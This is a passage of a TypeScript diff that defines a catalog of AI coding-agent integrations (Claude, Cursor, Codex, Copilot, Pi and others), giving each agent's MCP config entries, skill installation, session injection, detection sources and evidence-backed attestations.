caveats: value.caveats ?? [] };+ }+ return {+ ...rest,+ offerOnlyWhenDetected: offerOnlyWhenDetected ?? false,+ offersConnectionRow: offersConnectionRow ?? false,+ detectionSources: detectionSources ?? [],+ modes,+ };+}++const sid = (+ agent: AgentId,+ piece: IntegrationPiece,+ scope: SatisfierScope,+ kind: SatisfierKind,+): SatisfierId => satisfierId({ agent, piece, scope, kind });++const mcpRequirement = (satisfiedByAny: SatisfierId[]): RequirementRecord => ({+ piece: 'mcp',+ level: 'required',+ satisfiedByAny,+});++const skillRequirement = (satisfiedByAny: SatisfierId[]): RequirementRecord => ({+ piece: 'skill',+ level: 'recommended',+ satisfiedByAny,+});++const probeable = (...strictness: ProbeStrictness[]): ProbeDeclaration => ({+ mode: 'probeable',+ strictness,+});++const unprobeable = (+ reason: (typeof UNPROBEABLE_REASONS)[number],+ note?: string,+): ProbeDeclaration => ({ mode: 'unprobeable', reason, ...(note === undefined ? {} : { note }) });++const guide = (+ id: GuidanceKey,+ params?: Record<string, string | number | boolean>,+): GuidanceRef => ({+ id: guidanceId(id),+ ...(params === undefined ? {} : { params }),+});++const followupFor = (consentClass: ConsentClass, agent: AgentId): GuidanceRef | undefined =>+ consentClass === 'none' ? undefined : guide(`followup.${consentClass}`, { agent });++const read = (ref: string, note?: string): EvidenceRef => ({+ kind: 'source-read',+ ref,+ ...(note === undefined ? {} : { note }),+});++const attestVerified = (evidence: EvidenceRef[], verifiedAgainst?: VerifiedAgainst): Attestation =>+ verifiedAgainst === undefined+ ? { confidence: 'verified', evidence }+ : { confidence: 'verified', evidence, verifiedAgainst };++const attestContested = (+ evidence: EvidenceRef[],+ verifiedAgainst: VerifiedAgainst,+): Attestation => ({ confidence: 'contested', evidence, verifiedAgainst });++function acpFacet(input: {+ acpAgentId: string;+ featuredOrder: number | null;+ harnessCli: AcpHarnessCliId | null;+ readsEditorConfig: EditorId | null;+ readsEditorConfigAttestation: Attestation;+ verifiedPosture: (typeof VERIFIED_POSTURES)[number] | null;+}): AcpFacet {+ return {+ acpAgentId: input.acpAgentId,+ featuredOrder: input.featuredOrder,+ harnessCli: input.harnessCli,+ harnessReadsEditorConfig: input.readsEditorConfig,+ harnessReadsEditorConfigAttestation: input.readsEditorConfigAttestation,+ verifiedPosture: input.verifiedPosture,+ };+}++function externalFacet(input: {+ targetId: HandoffTarget;+ knownOrder: number;+ visible: boolean;+ displayName: string;+ appBrandName?: string;+ schemes: string[];+ installUrl: string;+ tagline?: string;+}): ExternalFacet {+ const { appBrandName, tagline, ...rest } = input;+ return {+ ...rest,+ ...(appBrandName === undefined ? {} : { appBrandName }),+ ...(tagline === undefined ? {} : { tagline }),+ };+}++const observed = (ref: string, note: string): EvidenceRef => ({ kind: 'observation', ref, note });++const CATALOG_PIN = { observedAt: '2026-07-02' } as const;++const CODE = {+ cliEditors: 'packages/cli/src/commands/editors.ts',+ coreEditors: 'packages/core/src/constants/editors.ts',+ acpRegistry: 'packages/server/src/acp/registry.ts',+ threadManager: 'packages/server/src/acp/thread-manager.ts',+ writeProjectSkill: 'packages/cli/src/integrations/write-project-skill.ts',+ repairSkills: 'packages/cli/src/commands/repair-skills.ts',+ skillInstall: 'packages/server/src/skill-install.ts',+ presenceProbes: 'packages/desktop/src/main/integrations-settings.ts',+} as const;++type EntryStrictness = ProbeStrictness[];++function userMcpEntry(input: {+ agent: EditorId;+ strictness: EntryStrictness;+ attestation: Attestation;+ installability?: Installability;+ notInstallableReason?: (typeof NOT_INSTALLABLE_REASONS)[number];+ troubleshooting?: GuidanceRef;+}): SatisfierRecord {+ return defineSatisfier({+ agent: input.agent,+ piece: 'mcp',+ scope: 'user',+ kind: 'config-entry',+ pathId: editorPathId('editor-user-config', input.agent),+ probe: probeable(...input.strictness),+ attestation: input.attestation,+ audience: 'this-user',+ installability: input.installability,+ notInstallableReason: input.notInstallableReason,+ guidance: guide('guidance.mcp.user-config', { agent: input.agent }),+ troubleshooting: input.troubleshooting,+ });+}++function projectMcpEntry(input: {+ agent: EditorId;+ fileOwner?: EditorId;+ sharedWith?: AgentId[];+ consentClass: ConsentClass;+ strictness: EntryStrictness;+ attestation: Attestation;+ troubleshooting?: GuidanceRef;+}): SatisfierRecord {+ return defineSatisfier({+ agent: input.agent,+ piece: 'mcp',+ scope: 'project',+ kind: 'config-entry',+ pathId: editorPathId('editor-project-config', input.fileOwner ?? input.agent),+ sharedWith: input.sharedWith,+ consentClass: input.consentClass,+ probe: probeable(...input.strictness),+ attestation: input.attestation,+ audience: 'this-project',+ guidance: guide('guidance.mcp.project-config', { agent: input.agent }),+ followup: followupFor(input.consentClass, input.agent),+ troubleshooting: input.troubleshooting,+ });+}++function projectSkill(input: {+ agent: EditorId;+ prerequisites: SatisfierId[];+ attestation: Attestation;+ troubleshooting?: GuidanceRef;+}): SatisfierRecord {+ return defineSatisfier({+ agent: input.agent,+ piece: 'skill',+ scope: 'project',+ kind: 'skill-bundle-copy',+ pathId: editorPathId('editor-project-skill-root', input.agent),+ prerequisites: input.prerequisites,+ probe: probeable('reclaim-permissive'),+ attestation: input.attestation,+ audience: 'this-project',+ guidance: guide('guidance.skill.project', { agent: input.agent }),+ troubleshooting: input.troubleshooting,+ });+}++function userSkill(input: { agent: EditorId; attestation: Attestation }): SatisfierRecord {+ return defineSatisfier({+ agent: input.agent,+ piece: 'skill',+ scope: 'user',+ kind: 'skill-bundle-copy',+ pathId: editorPathId('editor-user-skill-root', input.agent),+ probe: probeable('reclaim-permissive'),+ attestation: input.attestation,+ audience: 'this-user',+ guidance: guide('guidance.skill.user', { agent: input.agent }),+ });+}++function sessionInjection(agent: AgentId): SatisfierRecord {+ return defineSatisfier({+ agent,+ piece: 'mcp',+ scope: 'session',+ kind: 'session-injection',+ probe: unprobeable('session-scoped'),+ attestation: attestVerified([+ read(CODE.threadManager, 'the session MCP config the thread manager builds per thread'),+ ]),+ audience: 'this-project',+ installability: 'not-installable',+ notInstallableReason: 'session-scoped',+ guidance: guide('guidance.mcp.session-injection', { agent }),+ });+}++const claude = defineAgent({+ id: 'claude',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.claude,+ offersConnectionRow: true,+ detectionSources: ['cli-on-path:claude', 'scheme-handler:claude-code'],+ satisfiers: [+ userMcpEntry({+ agent: 'claude',+ strictness: ['reclaim-permissive', 'pre-approval-exact', 'injection-functional'],+ attestation: attestVerified([read(CODE.cliEditors, 'user-global MCP config target')]),+ }),+ projectMcpEntry({+ agent: 'claude',+ sharedWith: ['copilot'],+ consentClass: 'approve-once',+ strictness: ['reclaim-permissive', 'pre-approval-exact', 'injection-functional'],+ attestation: attestVerified([read(CODE.cliEditors), read(CODE.coreEditors)]),+ troubleshooting: guide('troubleshooting.claude.project-entry-not-approved', {+ agent: 'claude',+ }),+ }),+ projectSkill({+ agent: 'claude',+ prerequisites: [sid('claude', 'mcp', 'project', 'config-entry')],+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.repairSkills)]),+ }),+ userSkill({+ agent: 'claude',+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.skillInstall)]),+ }),+ sessionInjection('claude'),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([+ sid('claude', 'mcp', 'user', 'config-entry'),+ sid('claude', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('claude', 'skill', 'project', 'skill-bundle-copy'),+ sid('claude', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([+ sid('claude', 'mcp', 'user', 'config-entry'),+ sid('claude', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('claude', 'skill', 'project', 'skill-bundle-copy'),+ sid('claude', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ acp: {+ requirements: [+ mcpRequirement([+ sid('claude', 'mcp', 'session', 'session-injection'),+ sid('claude', 'mcp', 'user', 'config-entry'),+ sid('claude', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('claude', 'skill', 'project', 'skill-bundle-copy'),+ sid('claude', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ },+ acp: acpFacet({+ acpAgentId: 'claude-acp',+ featuredOrder: 0,+ harnessCli: 'claude',+ readsEditorConfig: 'claude',+ readsEditorConfigAttestation: attestVerified(+ [+ read(+ CODE.threadManager,+ 'the injection-skip probe reads the managed entry for this editor',+ ),+ observed(+ 'claude-acp adapter',+ 'The adapter runs Claude Code, which loads the MCP entry OK writes for the Claude editor on its own, so injecting a same-name duplicate would be redundant.',+ ),+ ],+ CATALOG_PIN,+ ),+ verifiedPosture: 'asks',+ }),+ external: externalFacet({+ targetId: 'claude-code',+ knownOrder: 1,+ visible: true,+ displayName: 'Claude',+ appBrandName: 'Claude Desktop',+ schemes: ['claude:'],+ installUrl: 'https://claude.com/download',+ tagline: "Agentic coding in Claude Desktop's Code tab.",+ }),+});++const claudeDesktop = defineAgent({+ id: 'claude-desktop',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG['claude-desktop'],+ offersConnectionRow: false,+ detectionSources: ['scheme-handler:claude-code'],+ satisfiers: [+ userMcpEntry({+ agent: 'claude-desktop',+ strictness: ['reclaim-permissive'],+ attestation: attestVerified([+ read(CODE.cliEditors, 'user-global config target; its path resolution throws on Linux'),+ ]),+ troubleshooting: guide('troubleshooting.claude-desktop.per-tool-approval', {+ agent: 'claude-desktop',+ }),+ }),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([sid('claude-desktop', 'mcp', 'user', 'config-entry')]),+ skillRequirement([]),+ ],+ },+ },+ external: externalFacet({+ targetId: 'claude-cowork',+ knownOrder: 0,+ visible: false,+ displayName: 'Claude Cowork',+ appBrandName: 'Claude Desktop',+ schemes: ['claude:'],+ installUrl: 'https://claude.com/download',+ tagline: "Conversational pairing in Claude Desktop's Cowork tab.",+ }),+});++const cursor = defineAgent({+ id: 'cursor',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.cursor,+ offersConnectionRow: true,+ detectionSources: ['cli-on-path:cursor', 'scheme-handler:cursor'],+ satisfiers: [+ userMcpEntry({+ agent: 'cursor',+ strictness: ['reclaim-permissive'],+ attestation: attestVerified([read(CODE.cliEditors)]),+ }),+ projectMcpEntry({+ agent: 'cursor',+ consentClass: 'enable-manually',+ strictness: ['reclaim-permissive'],+ attestation: attestVerified([read(CODE.cliEditors), read(CODE.coreEditors)]),+ troubleshooting: guide('troubleshooting.cursor.project-entry-not-loaded', {+ agent: 'cursor',+ }),+ }),+ projectSkill({+ agent: 'cursor',+ prerequisites: [sid('cursor', 'mcp', 'project', 'config-entry')],+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.repairSkills)]),+ }),+ userSkill({+ agent: 'cursor',+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.skillInstall)]),+ }),+ sessionInjection('cursor'),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([+ sid('cursor', 'mcp', 'user', 'config-entry'),+ sid('cursor', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('cursor', 'skill', 'project', 'skill-bundle-copy'),+ sid('cursor', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([+ sid('cursor', 'mcp', 'user', 'config-entry'),+ sid('cursor', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('cursor', 'skill', 'project', 'skill-bundle-copy'),+ sid('cursor', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ acp: {+ requirements: [+ mcpRequirement([sid('cursor', 'mcp', 'session', 'session-injection')]),+ skillRequirement([+ sid('cursor', 'skill', 'project', 'skill-bundle-copy'),+ sid('cursor', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ },+ acp: acpFacet({+ acpAgentId: 'cursor',+ featuredOrder: 3,+ harnessCli: 'cursor',+ readsEditorConfig: null,+ readsEditorConfigAttestation: attestVerified(+ [+ observed(+ 'cursor-agent mcp list',+ 'Reports a config-declared entry that has not been approved as "not loaded (needs approval)", so a present entry says nothing about whether the agent will have the tools.',+ ),+ read(CODE.threadManager, 'the one agent the skip probe never stands down for'),+ ],+ { observedAt: '2026-08-20' },+ ),+ verifiedPosture: 'self-managed',+ }),+ external: externalFacet({+ targetId: 'cursor',+ knownOrder: 3,+ visible: true,+ displayName: 'Cursor',+ schemes: ['cursor:'],+ installUrl: 'https://cursor.com/',+ tagline: 'AI-first VS Code fork with multi-file edits.',+ }),+});++const codex = defineAgent({+ id: 'codex',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.codex,+ offersConnectionRow: true,+ detectionSources: ['cli-on-path:codex', 'scheme-handler:codex'],+ satisfiers: [+ userMcpEntry({+ agent: 'codex',+ strictness: ['reclaim-permissive', 'injection-functional'],+ attestation: attestVerified([read(CODE.cliEditors, 'TOML user-global config target')]),+ }),+ projectMcpEntry({+ agent: 'codex',+ consentClass: 'trust-gated',+ strictness: ['reclaim-permissive', 'injection-functional'],+ attestation: attestContested(+ [+ read(CODE.cliEditors, 'project config path added by analogy with the other editors'),+ {+ kind: 'upstream-issue',+ ref: 'openai/codex#13025',+ note: 'open, reproduced on builds newer than the one OK checked',+ },+ {+ kind: 'observation',+ ref: 'codex-desktop-project-config-load',+ note: 'single non-repro on 26.623.81905; the CLI honors it only for a trusted project',+ },+ ],+ { version: '26.707.72221', observedAt: '2026-07-15' },+ ),+ troubleshooting: guide('troubleshooting.codex.desktop-project-config', {+ agent: 'codex',+ honoredByDesktop: false,+ }),+ }),+ projectSkill({+ agent: 'codex',+ prerequisites: [sid('codex', 'mcp', 'project', 'config-entry')],+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.repairSkills)]),+ }),+ userSkill({+ agent: 'codex',+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.skillInstall)]),+ }),+ sessionInjection('codex'),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([+ sid('codex', 'mcp', 'user', 'config-entry'),+ sid('codex', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('codex', 'skill', 'project', 'skill-bundle-copy'),+ sid('codex', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([+ sid('codex', 'mcp', 'user', 'config-entry'),+ sid('codex', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('codex', 'skill', 'project', 'skill-bundle-copy'),+ sid('codex', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ acp: {+ requirements: [+ mcpRequirement([+ sid('codex', 'mcp', 'session', 'session-injection'),+ sid('codex', 'mcp', 'user', 'config-entry'),+ sid('codex', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('codex', 'skill', 'project', 'skill-bundle-copy'),+ sid('codex', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ },+ acp: acpFacet({+ acpAgentId: 'codex-acp',+ featuredOrder: 1,+ harnessCli: 'codex',+ readsEditorConfig: 'codex',+ readsEditorConfigAttestation: attestVerified(+ [+ read(CODE.cliEditors, 'the managed MCP entry OK writes into the Codex TOML config'),+ observed(+ 'codex-acp adapter',+ 'The adapter runs the Codex CLI, which loads the MCP servers declared in its own config, so the managed entry is already in the session.',+ ),+ ],+ CATALOG_PIN,+ ),+ verifiedPosture: 'self-managed',+ }),+ external: externalFacet({+ targetId: 'codex',+ knownOrder: 2,+ visible: true,+ displayName: 'ChatGPT',+ appBrandName: 'ChatGPT Desktop',+ schemes: ['codex:'],+ installUrl: 'https://developers.openai.com/codex/app',+ tagline: "OpenAI's ChatGPT desktop app, home of the Codex agent.",+ }),+});++const copilot = defineAgent({+ id: 'copilot',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.copilot,+ offersConnectionRow: true,+ detectionSources: ['cli-on-path:copilot'],+ satisfiers: [+ userMcpEntry({+ agent: 'copilot',+ strictness: ['reclaim-permissive'],+ attestation: attestVerified([read(CODE.cliEditors)]),+ }),+ projectMcpEntry({+ agent: 'copilot',+ fileOwner: 'claude',+ sharedWith: ['claude'],+ consentClass: 'trust-gated',+ strictness: ['reclaim-permissive'],+ attestation: attestVerified(+ [+ {+ kind: 'vendor-doc',+ ref: 'GitHub Copilot CLI — MCP configuration',+ note: 'reads workspace `.mcp.json` or `.github/mcp.json`',+ },+ read(CODE.coreEditors, 'OK deliberately writes no second copy for copilot'),+ ],+ { version: 'copilot CLI 1.0.80', observedAt: '2026-08-20' },+ ),+ troubleshooting: guide('troubleshooting.copilot.shared-workspace-config', {+ agent: 'copilot',+ sourceAgent: 'claude',+ }),+ }),+ projectSkill({+ agent: 'copilot',+ prerequisites: [+ sid('copilot', 'mcp', 'project', 'config-entry'),+ sid('copilot', 'mcp', 'user', 'config-entry'),+ ],+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.writeProjectSkill)]),+ }),+ userSkill({+ agent: 'copilot',+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.skillInstall)]),+ }),+ sessionInjection('copilot'),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([+ sid('copilot', 'mcp', 'user', 'config-entry'),+ sid('copilot', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('copilot', 'skill', 'project', 'skill-bundle-copy'),+ sid('copilot', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([+ sid('copilot', 'mcp', 'user', 'config-entry'),+ sid('copilot', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('copilot', 'skill', 'project', 'skill-bundle-copy'),+ sid('copilot', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ acp: {+ requirements: [+ mcpRequirement([sid('copilot', 'mcp', 'session', 'session-injection')]),+ skillRequirement([+ sid('copilot', 'skill', 'project', 'skill-bundle-copy'),+ sid('copilot', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ },+ acp: acpFacet({+ acpAgentId: 'github-copilot-cli',+ featuredOrder: 4,+ harnessCli: null,+ readsEditorConfig: null,+ readsEditorConfigAttestation: {+ confidence: 'assumed',+ evidence: [+ observed(+ 'copilot CLI 1.0.80',+ 'The CLI does read a workspace `.mcp.json`, but nobody has observed the ACP adapter loading the managed entry inside a session. Claiming it would stand our injection down on an unverified read and risk a thread with no OK tools, so the claim stays unmade and OK keeps injecting.',+ ),+ ],+ verifiedAgainst: { version: '1.0.80', observedAt: '2026-08-20' },+ },+ verifiedPosture: null,+ }),+ external: externalFacet({+ targetId: 'copilot',+ knownOrder: 4,+ visible: false,+ displayName: 'GitHub Copilot',+ schemes: [],+ installUrl: 'https://docs.github.com/en/copilot/how-tos/copilot-cli/cli-getting-started',+ tagline: "GitHub's terminal-native coding agent.",+ }),+});++const opencode = defineAgent({+ id: 'opencode',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.opencode,+ offersConnectionRow: true,+ detectionSources: ['cli-on-path:opencode'],+ satisfiers: [+ userMcpEntry({+ agent: 'opencode',+ strictness: ['reclaim-permissive', 'injection-functional'],+ attestation: attestVerified([+ read(CODE.cliEditors, 'XDG config dir; the win32 location is by analogy and unverified'),+ ]),+ }),+ projectMcpEntry({+ agent: 'opencode',+ consentClass: 'none',+ strictness: ['reclaim-permissive', 'injection-functional'],+ attestation: attestVerified([+ read(CODE.cliEditors, 'the one project config that is not under a dotdir'),+ ]),+ }),+ projectSkill({+ agent: 'opencode',+ prerequisites: [sid('opencode', 'mcp', 'project', 'config-entry')],+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.repairSkills)]),+ }),+ userSkill({+ agent: 'opencode',+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.skillInstall)]),+ }),+ sessionInjection('opencode'),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([+ sid('opencode', 'mcp', 'user', 'config-entry'),+ sid('opencode', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('opencode', 'skill', 'project', 'skill-bundle-copy'),+ sid('opencode', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([+ sid('opencode', 'mcp', 'user', 'config-entry'),+ sid('opencode', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('opencode', 'skill', 'project', 'skill-bundle-copy'),+ sid('opencode', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ acp: {+ requirements: [+ mcpRequirement([+ sid('opencode', 'mcp', 'session', 'session-injection'),+ sid('opencode', 'mcp', 'user', 'config-entry'),+ sid('opencode', 'mcp', 'project', 'config-entry'),+ ]),+ skillRequirement([+ sid('opencode', 'skill', 'project', 'skill-bundle-copy'),+ sid('opencode', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ },+ acp: acpFacet({+ acpAgentId: 'opencode',+ featuredOrder: 5,+ harnessCli: 'opencode',+ readsEditorConfig: 'opencode',+ readsEditorConfigAttestation: attestVerified(+ [+ read(CODE.cliEditors, 'the managed MCP entry OK writes into the opencode config'),+ observed(+ 'opencode-acp adapter',+ 'The adapter runs opencode, which loads its own configured MCP servers, so the managed entry is already in the session.',+ ),+ ],+ CATALOG_PIN,+ ),+ verifiedPosture: null,+ }),+ external: externalFacet({+ targetId: 'opencode',+ knownOrder: 5,+ visible: false,+ displayName: 'OpenCode',+ schemes: [],+ installUrl: 'https://opencode.ai',+ tagline: 'Open-source terminal coding agent; bring any local model.',+ }),+});++const openclaw = defineAgent({+ id: 'openclaw',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.openclaw,+ offersConnectionRow: true,+ offerOnlyWhenDetected: true,+ detectionSources: ['cli-on-path:openclaw'],+ satisfiers: [+ userMcpEntry({+ agent: 'openclaw',+ strictness: ['reclaim-permissive'],+ attestation: attestVerified([+ read(CODE.cliEditors, 'the one two-level server map, nested under `mcp.servers`'),+ ]),+ }),+ defineSatisfier({+ agent: 'openclaw',+ piece: 'skill',+ scope: 'user',+ kind: 'central-store-copy',+ pathId: CENTRAL_SKILL_STORE_PATH_ID,+ probe: probeable('reclaim-permissive'),+ attestation: attestVerified([+ read(CODE.coreEditors),+ read(CODE.skillInstall, 'the hub is written only when it already exists'),+ ]),+ audience: 'this-user',+ guidance: guide('guidance.skill.central-store', { agent: 'openclaw' }),+ troubleshooting: guide('troubleshooting.openclaw.central-store-missing', {+ agent: 'openclaw',+ }),+ }),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([sid('openclaw', 'mcp', 'user', 'config-entry')]),+ skillRequirement([sid('openclaw', 'skill', 'user', 'central-store-copy')]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([sid('openclaw', 'mcp', 'user', 'config-entry')]),+ skillRequirement([sid('openclaw', 'skill', 'user', 'central-store-copy')]),+ ],+ },+ },+ external: externalFacet({+ targetId: 'openclaw',+ knownOrder: 8,+ visible: false,+ displayName: 'OpenClaw',+ schemes: [],+ installUrl: 'https://openclaw.ai',+ tagline: 'Open-source agent gateway; runs agents against your MCP servers.',+ }),+});++const pi = defineAgent({+ id: 'pi',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.pi,+ offersConnectionRow: true,+ detectionSources: ['cli-on-path:pi'],+ satisfiers: [+ defineSatisfier({+ agent: 'pi',+ piece: 'mcp',+ scope: 'project',+ kind: 'managed-file',+ pathId: editorPathId('editor-project-config', 'pi'),+ probe: probeable('reclaim-permissive', 'injection-functional'),+ attestation: attestVerified([+ read(CODE.cliEditors, 'OK owns the whole file; currency is a first-line sentinel'),+ read(CODE.acpRegistry, 'the thread provisions this file instead of injecting'),+ ]),+ audience: 'this-project',+ guidance: guide('guidance.mcp.managed-file', { agent: 'pi' }),+ troubleshooting: guide('troubleshooting.pi.folder-trust', { agent: 'pi' }),+ }),+ projectSkill({+ agent: 'pi',+ prerequisites: [sid('pi', 'mcp', 'project', 'managed-file')],+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.writeProjectSkill)]),+ troubleshooting: guide('troubleshooting.pi.folder-trust', { agent: 'pi' }),+ }),+ userSkill({+ agent: 'pi',+ attestation: attestVerified([+ read(CODE.coreEditors, 'the agent home nests one level below the dotdir'),+ read(CODE.skillInstall),+ ]),+ }),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([sid('pi', 'mcp', 'project', 'managed-file')]),+ skillRequirement([+ sid('pi', 'skill', 'project', 'skill-bundle-copy'),+ sid('pi', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([sid('pi', 'mcp', 'project', 'managed-file')]),+ skillRequirement([+ sid('pi', 'skill', 'project', 'skill-bundle-copy'),+ sid('pi', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ acp: {+ requirements: [+ mcpRequirement([sid('pi', 'mcp', 'project', 'managed-file')]),+ skillRequirement([+ sid('pi', 'skill', 'project', 'skill-bundle-copy'),+ sid('pi', 'skill', 'user', 'skill-bundle-copy'),+ ]),+ ],+ },+ },+ acp: acpFacet({+ acpAgentId: 'pi-acp',+ featuredOrder: null,+ harnessCli: 'pi',+ readsEditorConfig: 'pi',+ readsEditorConfigAttestation: attestVerified(+ [+ observed(+ '[email protected]',+ 'Pi has no MCP client at all: it accepts `mcpServers` at session/new, stores them write-only and never connects. Its wiring is a managed extension FILE in the project, which OK provisions instead of injecting — the same mapping, a different shape.',+ ),+ read(+ CODE.threadManager,+ 'the bridge route that provisions the extension instead of injecting',+ ),+ ],+ { version: '0.0.33', observedAt: '2026-08-20' },+ ),+ verifiedPosture: 'autonomous',+ }),+ external: externalFacet({+ targetId: 'pi',+ knownOrder: 6,+ visible: false,+ displayName: 'Pi',+ schemes: [],+ installUrl: 'https://pi.dev',+ tagline: 'Minimal open-source terminal coding agent, extensible in TypeScript.',+ }),+});++const antigravity = defineAgent({+ id: 'antigravity',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.antigravity,+ offersConnectionRow: true,+ offerOnlyWhenDetected: true,+ detectionSources: ['cli-on-path:antigravity'],+ satisfiers: [+ userMcpEntry({+ agent: 'antigravity',+ strictness: ['reclaim-permissive'],+ attestation: attestVerified([+ read(+ CODE.cliEditors,+ 'one user-global file shared by the IDE, the app and the CLI; per project you can only filter it',+ ),+ ]),+ }),+ userSkill({+ agent: 'antigravity',+ attestation: attestVerified([read(CODE.coreEditors), read(CODE.skillInstall)]),+ }),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([sid('antigravity', 'mcp', 'user', 'config-entry')]),+ skillRequirement([sid('antigravity', 'skill', 'user', 'skill-bundle-copy')]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([sid('antigravity', 'mcp', 'user', 'config-entry')]),+ skillRequirement([sid('antigravity', 'skill', 'user', 'skill-bundle-copy')]),+ ],+ },+ },+ external: externalFacet({+ targetId: 'antigravity',+ knownOrder: 7,+ visible: false,+ displayName: 'Antigravity',+ schemes: [],+ installUrl: 'https://antigravity.google',+ tagline: "Google's agentic IDE + `agy` terminal agent.",+ }),+});++const lmStudio = defineAgent({+ id: 'lm-studio',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG['lm-studio'],+ offersConnectionRow: true,+ offerOnlyWhenDetected: true,+ detectionSources: [],+ satisfiers: [+ userMcpEntry({+ agent: 'lm-studio',+ strictness: ['reclaim-permissive'],+ installability: 'not-installable',+ notInstallableReason: 'no-non-interactive-verb',+ attestation: attestVerified([+ read(CODE.cliEditors, 'two candidate locations, resolved against what already exists'),+ {+ kind: 'upstream-issue',+ ref: 'lmstudio-ai/lmstudio-bug-tracker#1371',+ note: 'documented config path differs from the one the app reads on macOS',+ },+ read(CODE.presenceProbes, 'deliberately absent from the presence probes'),+ ]),+ troubleshooting: guide('troubleshooting.lm-studio.config-path-mismatch', {+ agent: 'lm-studio',+ }),+ }),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([sid('lm-studio', 'mcp', 'user', 'config-entry')]),+ skillRequirement([]),+ ],+ },+ },+});++const hermes = defineAgent({+ id: 'hermes',+ setupDocSlug: EDITOR_SETUP_DOC_SLUG.hermes,+ offersConnectionRow: true,+ offerOnlyWhenDetected: true,+ detectionSources: ['cli-on-path:hermes'],+ satisfiers: [+ userMcpEntry({+ agent: 'hermes',+ strictness: ['reclaim-permissive'],+ attestation: attestVerified([+ read(CODE.cliEditors, 'the one YAML target; the whole config is a single user-global file'),+ ]),+ }),+ ],+ modes: {+ external: {+ requirements: [+ mcpRequirement([sid('hermes', 'mcp', 'user', 'config-entry')]),+ skillRequirement([]),+ ],+ },+ terminal: {+ requirements: [+ mcpRequirement([sid('hermes', 'mcp', 'user', 'config-entry')]),+ skillRequirement([]),+ ],+ },+ },+ external: externalFacet({+ targetId: 'hermes',+ knownOrder: 9,+ visible: false,+ displayName: 'Hermes',+ schemes: [],+ installUrl: 'https://hermes-agent.nousresearch.com',+ tagline: "Nous Research's terminal coding agent.",+ }),+});++const gemini = defineAgent({+ id: 'gemini',+ setupDocSlug: null,+ detectionSources: ['harness-bin:gemini'],+ satisfiers: [sessionInjection('gemini')],+ modes: {+ acp: {+ requirements: [+ mcpRequirement([sid('gemini', 'mcp', 'session', 'session-injection')]),+ skillRequirement([]),+ ],+ },+ },+ acp: acpFacet({+ acpAgentId: 'gemini',+ featuredOrder: 2,+ harnessCli: 'gemini',+ readsEditorConfig: null,+ readsEditorConfigAttestation: attestVerified(+ [+ read(+ CODE.coreEditors,+ 'gemini reaches OK as an ACP agent only; it has no editor config target',+ ),+ ],+ CATALOG_PIN,+ ),+ verifiedPosture: 